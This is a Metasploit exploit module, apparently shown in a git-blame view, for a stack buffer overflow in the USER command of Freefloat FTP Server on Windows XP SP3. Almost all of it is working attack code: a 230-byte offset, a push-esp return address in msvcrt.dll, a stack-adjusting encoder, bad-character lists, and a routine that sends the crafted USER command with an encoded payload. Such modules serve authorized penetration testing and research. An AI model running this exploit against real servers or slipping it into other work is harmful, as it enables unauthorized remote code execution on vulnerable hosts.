Files
metasploit-gs/modules/exploits/windows/ftp/freefloatftp_user.rb
T

75 lines
2.0 KiB
Ruby
Raw Normal View History

2013-03-22 16:13:38 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-22 16:13:38 -04:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = NormalRanking
2013-03-22 16:13:38 -04:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Ftp
2013-03-22 16:13:38 -04:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Free Float FTP Server USER Command Buffer Overflow',
'Description' => %q{
Freefloat FTP Server is prone to an overflow condition. It
fails to properly sanitize user-supplied input resulting in a
stack-based buffer overflow. With a specially crafted 'USER'
command, a remote attacker can potentially have an unspecified
impact.
},
'Platform' => 'win',
'Author' =>
[
'D35m0nd142', # Original exploit
'Doug Prostko <dougtko[at]gmail.com>' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '69621'],
2013-08-30 16:28:54 -05:00
[ 'EDB', '23243']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 444,
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'FreeFloat / Windows XP SP3',
{
'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
'Offset' => 230
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 12 2012'))
end
2013-03-22 16:13:38 -04:00
2013-08-30 16:28:54 -05:00
def check
connect
disconnect
if (banner =~ /FreeFloat/)
2014-01-21 11:07:03 -06:00
# Software is never updated, so if you run this you're f*cked.
2013-08-30 16:28:54 -05:00
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
2013-04-11 10:36:06 -04:00
2013-08-30 16:28:54 -05:00
def exploit
connect
buf = rand_text(target['Offset'])
buf << [ target['Ret'] ].pack('V')
buf << rand_text(8)
buf << payload.encoded
send_user(buf)
disconnect
end
2013-03-22 16:13:38 -04:00
end